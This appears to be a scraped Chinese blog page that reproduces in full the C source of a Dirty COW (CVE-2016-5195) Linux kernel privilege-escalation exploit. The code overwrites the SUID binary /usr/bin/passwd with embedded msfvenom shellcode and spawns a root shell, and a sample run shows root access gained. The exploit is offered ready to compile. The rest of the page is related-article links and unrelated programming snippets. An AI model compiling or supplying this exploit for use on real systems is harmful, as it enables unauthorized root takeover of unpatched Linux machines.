[提权] 脏牛漏洞 Dirty COW CVE-2016-5195 2.6.22 < 3.9 (x86/x64)
/*
* (un)comment correct payload first (x86 or x64)!
*
* $ gcc cowroot.c -o cowroot -pthread
* $ ./cowroot
* DirtyCow root privilege escalation
* Backing up /usr/bin/passwd.. to /tmp/bak
* Size of binary: 57048
* Racing, this may take a while..
* /usr/bin/passwd is overwritten
* Popping root shell.
* Don't forget to restore /tmp/bak
* thread stopped
* thread stopped
* root@box:/root/cow# id
* uid=0(root) gid=1000(foo) groups=1000(foo)
*/
#include <stdio.h>
#include <stdlib.h>
#include <sys/mman.h>
#include <fcntl.h>
#include <pthread.h>
#include <string.h>
#include <unistd.h>
void
*map;
int
f;
int
stop = 0;
struct
stat st;
char
*name;
pthread_t pth1,pth2,pth3;
// change if no permissions to read
char
suid_binary[] =
"/usr/bin/passwd"
;
/*
* $ msfvenom -p linux/x64/exec CMD=/bin/bash PrependSetuid=True -f elf | xxd -i
*/
unsigned
char
sc[] = {
0x7f, 0x45, 0x4c, 0x46, 0x02, 0x01, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x02, 0x00, 0x3e, 0x00, 0x01, 0x00, 0x00, 0x00,
0x78, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x38, 0x00, 0x01, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x07, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00,
0xb1, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xea, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x48, 0x31, 0xff, 0x6a, 0x69, 0x58, 0x0f, 0x05, 0x6a, 0x3b, 0x58, 0x99,
0x48, 0xbb, 0x2f, 0x62, 0x69, 0x6e, 0x2f, 0x73, 0x68, 0x00, 0x53, 0x48,
0x89, 0xe7, 0x68, 0x2d, 0x63, 0x00, 0x00, 0x48, 0x89, 0xe6, 0x52, 0xe8,
0x0a, 0x00, 0x00, 0x00, 0x2f, 0x62, 0x69, 0x6e, 0x2f, 0x62, 0x61, 0x73,
0x68, 0x00, 0x56, 0x57, 0x48, 0x89, 0xe6, 0x0f, 0x05
};
unsigned
int
sc_len = 177;
/*
* $ msfvenom -p linux/x86/exec CMD=/bin/bash PrependSetuid=True -f elf | xxd -i
unsigned char sc[] = {
0x7f, 0x45, 0x4c, 0x46, 0x01, 0x01, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x02, 0x00, 0x03, 0x00, 0x01, 0x00, 0x00, 0x00,
0x54, 0x80, 0x04, 0x08, 0x34, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x34, 0x00, 0x20, 0x00, 0x01, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x80, 0x04, 0x08, 0x00, 0x80, 0x04, 0x08, 0x88, 0x00, 0x00, 0x00,
0xbc, 0x00, 0x00, 0x00, 0x07, 0x00, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00,
0x31, 0xdb, 0x6a, 0x17, 0x58, 0xcd, 0x80, 0x6a, 0x0b, 0x58, 0x99, 0x52,
0x66, 0x68, 0x2d, 0x63, 0x89, 0xe7, 0x68, 0x2f, 0x73, 0x68, 0x00, 0x68,
0x2f, 0x62, 0x69, 0x6e, 0x89, 0xe3, 0x52, 0xe8, 0x0a, 0x00, 0x00, 0x00,
0x2f, 0x62, 0x69, 0x6e, 0x2f, 0x62, 0x61, 0x73, 0x68, 0x00, 0x57, 0x53,
0x89, 0xe1, 0xcd, 0x80
};
unsigned int sc_len = 136;
*/
void
*madviseThread(
void
*arg)
{
char
*str;
str=(
char
*)arg;
int
i,c=0;
for
(i=0;i<1000000 && !stop;i++) {
c+=madvise(map,100,MADV_DONTNEED);
}
printf
(
"thread stopped\n"
);
}
void
*procselfmemThread(
void
*arg)
{
char
*str;
str=(
char
*)arg;
int
f=open(
"/proc/self/mem"
,O_RDWR);
int
i,c=0;
for
(i=0;i<1000000 && !stop;i++) {
lseek(f,map,SEEK_SET);
c+=write(f, str, sc_len);
}
printf
(
"thread stopped\n"
);
}
void
*waitForWrite(
void
*arg) {
char
buf[sc_len];
for
(;;) {
FILE
*fp =
fopen
(suid_binary,
"rb"
);
fread
(buf, sc_len, 1, fp);
if
(
memcmp
(buf, sc, sc_len) == 0) {
printf
(
"%s is overwritten\n"
, suid_binary);
break
;
}
fclose
(fp);
sleep(1);
}
stop = 1;
printf
(
"Popping root shell.\n"
);
printf
(
"Don't forget to restore /tmp/bak\n"
);
system
(suid_binary);
}
int
main(
int
argc,
char
*argv[]) {
char
*backup;
printf
(
"DirtyCow root privilege escalation\n"
);
printf
(
"Backing up %s.. to /tmp/bak\n"
, suid_binary);
asprintf(&backup,
"cp %s /tmp/bak"
, suid_binary);
system
(backup);
f = open(suid_binary,O_RDONLY);
fstat(f,&st);
printf
(
"Size of binary: %d\n"
, st.st_size);
char
payload[st.st_size];
memset
(payload, 0x90, st.st_size);
memcpy
(payload, sc, sc_len+1);
map = mmap(NULL,st.st_size,PROT_READ,MAP_PRIVATE,f,0);
printf
(
"Racing, this may take a while..\n"
);
pthread_create(&pth1, NULL, &madviseThread, suid_binary);
pthread_create(&pth2, NULL, &procselfmemThread, payload);
pthread_create(&pth3, NULL, &waitForWrite, NULL);
pthread_join(pth3, NULL);
return
0;
}
[提权] 脏牛漏洞 Dirty COW CVE-2016-5195 2.6.22 < 3.9 (x86/x64)的更多相关文章
- Linux提权—脏牛漏洞(CVE-2016-5195)
目录 脏牛漏洞 exp1复现: exp2复现: 脏牛漏洞 脏牛漏洞,又叫Dirty COW,存在Linux内核中已经有长达9年的时间,在2007年发布的Linux内核版本中就已经存在此漏洞.Linux ...
- CVE-2017-1000405 利用脏牛漏洞Linux提权复现
当前路径: /var/www 磁盘列表: / 系统信息: Linux zico 3.2.0-23-generic #36-Ubuntu SMP Tue Apr 10 20:39:51 UTC 2012 ...
- CVE-2016-5159 利用脏牛漏洞Linux提权复现
当前路径: /var/www 磁盘列表: / 系统信息: Linux zico 3.2.0-23-generic #36-Ubuntu SMP Tue Apr 10 20:39:51 UTC 2012 ...
- Lampiao(dirtycow)脏牛漏洞复现
nmap扫描内网80端口发现目标主机 nmap -sP -p 80 192.168.31.0/24 扫描发现目标主机开放22端口.并且 1898端口开放http服务 御剑扫描目录并访问之后发现存 ...
- 【原创】贴个dirtycow(脏牛漏洞)不死机的exploit
dirtycow官网上几个获得rootshell的exp大都会导致机器死机,在原作者的基础上改进了一下,做个记录: /* * (un)comment correct payload first (x8 ...
- windows提权常用系统漏洞与补丁编号速查对照表
#Security Bulletin #KB #Description #Operating System CVE-2020-0787 [Windows Background Intelligent ...
- vulnhub-Lampiao脏牛提权
准备工作 在vulnhub官网下载lampiao靶机Lampião: 1 ~ VulnHub 导入到vmware,设置成NAT模式 打开kali准备进行渗透(ip:192.168.200.6) 信息收 ...
- Linux提权
讲Linux提权之前,我们先看看与Linux有关的一些知识: 我们常说的Linux系统,指的是Linux内核与各种常用软件的集合产品,全球大约有数百款的Linux系统版本,每个系统版本都有自己的特性和 ...
- 9.CVE-2016-5195(脏牛)内核提权漏洞分析
漏洞描述: 漏洞编号:CVE-2016-5195 漏洞名称:脏牛(Dirty COW) 漏洞危害:低权限用户利用该漏洞技术可以在全版本Linux系统上实现本地提权 影响范围:Linux内核>=2 ...
随机推荐
- CH 1402 - 后缀数组 - [字符串hash]
题目链接:传送门 描述 后缀数组 (SA) 是一种重要的数据结构,通常使用倍增或者DC3算法实现,这超出了我们的讨论范围. 在本题中,我们希望使用快排.Hash与二分实现一个简单的 $O(n \log ...
- class="no-js"
这是什么意思?看了外网的解释,比较明白了.(When Modernizr runs, it removes the "no-js" class and replaces it wi ...
- git bash 命名
git log -p -2 我们常用 -p 选项展开显示每次提交的内容差异,用 -2 则仅显示最近的两次更新. git diff HEAD git clean -df 恢复到最后一次提交的改动: gi ...
- StringDemo
package cn.sasa.demo2; public class StringDemo { public static void main(String[] args) { //String 底 ...
- linux清空历史记录
前几天弄了个Linux服务器做网站,发现在不同终端登陆时,上下键都会出现一堆无用的命令,搜了一下解决方法,做个笔记. 在Linux中,每个用户目录下都有一个.bash_history文件用于保存历史命 ...
- swift 相机、相册、定位的权限判断
//是否开启相机权限 func IsOpenCamera() -> Bool{ let authStatus = AVCaptureDevice.authorizationStatus(for: ...
- centos中文语言安装
1.查看当前使用的系统语言 #echo LANG 2.查看系统是否安装中文 #locale 如有zh_cn,表示已经安装了中文语言 3.安装中文 #yum groupinstall chinese-s ...
- js模拟下拉框
html <label class="selectGroup"> <span class="selectP"></span> ...
- MySQL 5.5加主键锁读问题【转载】
背景 有同学讨论到MySQL 5.5下给大表加主键时会锁住读的问题,怀疑与fast index creation有关,这里简单说明下. 对照现象 为了说明这个问题的原因,有 ...
- Python3学习之路~2.10 修改haproxy配置文件
需求: .查 输入:www.oldboy.org 获取当前backend下的所有记录 .新建 输入: arg = { 'bakend': 'www.oldboy.org', 'record':{ 's ...